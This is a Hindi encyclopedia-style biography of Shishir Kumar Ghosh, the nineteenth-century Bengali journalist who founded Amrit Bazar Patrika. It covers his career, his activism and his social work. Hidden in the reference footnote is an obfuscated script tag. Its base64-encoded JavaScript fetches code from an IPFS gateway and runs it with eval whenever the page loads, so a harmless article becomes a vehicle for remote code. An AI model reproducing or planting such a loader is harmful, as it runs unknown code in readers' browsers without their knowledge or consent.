शिशिर कुमार घोष

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शिशिर कुमार घोष ( जन्म- 1840, जैसोर, पूर्वी बंगाल; मृत्यु- 1911) प्रसिद्ध एवं निर्भीक पत्रकार के साथ-साथ धार्मिक विचारों के व्यक्ति थे। पाश्चात्य शिक्षा के समर्थक होते हुए भी उनका मानना था कि शिक्षा अपनी मातृभाषा में ही होनी चाहिए।

परिचय

प्रसिद्ध पत्रकार शिशिर कुमार घोष का जन्म 1840 ई. में पूर्वी बंगाल के जैसोर जिले में हुआ था। आरंभिक शिक्षा के बाद वे आगे की पढ़ाई के लिए कोलकाता गए। वहां बंकिम चंद्र चटर्जी भी उन के सहपाठी थे। शिशिर कुमार घोष का विद्यार्थी जीवन में ही 'हिंदू पैट्रियट' पत्र के संपादक हरिश चंद्र मुखर्जी से संपर्क हो गया। मुखर्जी निलहे गोरों के अत्याचारों के विरुद्ध आंदोलन चला रहे थे। कुमार उस आंदोलन में सम्मिलित हो गए। वे उदार विचारों के व्यक्ति थे। उन्होंने किसानों के पक्ष में ऐसा वातावरण बनाया कि सरकार को उनकी दशा का पता लगाने के लिए जांच कमीशन नियुक्त करना पड़ा।[1]

निडर पत्रकार

शिशिर कुमार घोष एक निडर पत्रकार थे। वे विदेशी सरकार के कामों की आलोचना करने में संकोच नहीं करते थे, जो उस समय की परिस्थितियों में साधारण बात नहीं थी। पिता की मृत्यु के बाद घोष भाइयों ने, जिनमें वसंत कुमार घोष, शिशिर कुमार घोष, मोतीलाल घोष प्रमुख थे। उन्होंने अपने गांव से अपनी माता अमृतमयी देवी के नाम पर 'अमृत प्रवाहिनी' नाम का पत्र निकाला, लेकिन यह पत्र अधिक दिन नहीं चला। शिशिर कुमार कुछ दिन अध्यापक रहने के बाद फिर पत्रकारिता की ओर मुड़े। उन्होंने 20 फरवरी, 1868 को बांग्ला भाषा में 'अमृत बाजार पत्रिका' नामक साप्ताहिक पत्र का प्रकाशन अपने गांव से ही आरंभ किया था, जो शीघ्र ही द्विभाषी हो गया। घोष ने पत्र को छापने के लिए कोलकाता से रुपये 32 में प्रेस खरीद कर मगाया। 1871 में वे 'अमृत बाजार पत्रिका' को गांव से कोलकाता ले आए। 1878 में जब सरकार ने भारतीय भाषाओं के पत्रों को नियंत्रित करने के लिए प्रेस एक्ट बनाया तो घोष बंधुओं ने अपने पत्र को रातोंरात अंग्रेजी साप्ताहिक का रूप दे दिया फिर 1891 में यह अंग्रेजी दैनिक बन गया। शिशिर कुमार घोष 1868 से 1893 तक इस पत्र के संपादक रहे।

सामाजिक एवं धार्मिक प्रवृत्ति

शिशिर कुमार घोष की सामाजिक एवं धार्मिक कार्यों में रुचि थी। उन्होंने राजनीतिक उद्देश्य से इंडिया लीग, इंडियन एसोसिएशन जैसे कई संगठन बनाए, लेकिन कभी स्वयं आगे आने का प्रयत्न नहीं किया। ब्रिटिश संसद के सदस्यों को भारत की स्थिति से परिचित कराने के लिए इंग्लैंड में उन्होंने ' पॉलिटिकल एजेंसी' की स्थापना की, जिसको उनके पत्र 'अमृत बाजार पत्रिका,' की ओर से नियमित भुगतान किया जाता था। अपने जीवन के आरंभिक वर्षों में वह ब्रह्म समाज की ओर आकृष्ट हुए थे, किंतु बाद में उन्हें वैष्णव विचारधारा में ही संतोष मिला। शिक्षा के प्रसार के लिए घोष बंधुओं ने 'भ्रातृ समाज' की स्थापना की। इसके अंतर्गत लड़के और लड़कियों के स्कूल और रात्रि पाठशाला खोली गईं। शिशिर कुमार यद्यपि पश्चिमी शिक्षा के समर्थक थे, किंतु उनका कहना था शिक्षा का माध्यम मातृभाषा ही होनी चाहिए।

मृत्यु

प्रसिद्ध पत्रकार शिशिर कुमार घोष का 1911 में निधन हो गया।


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टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 850 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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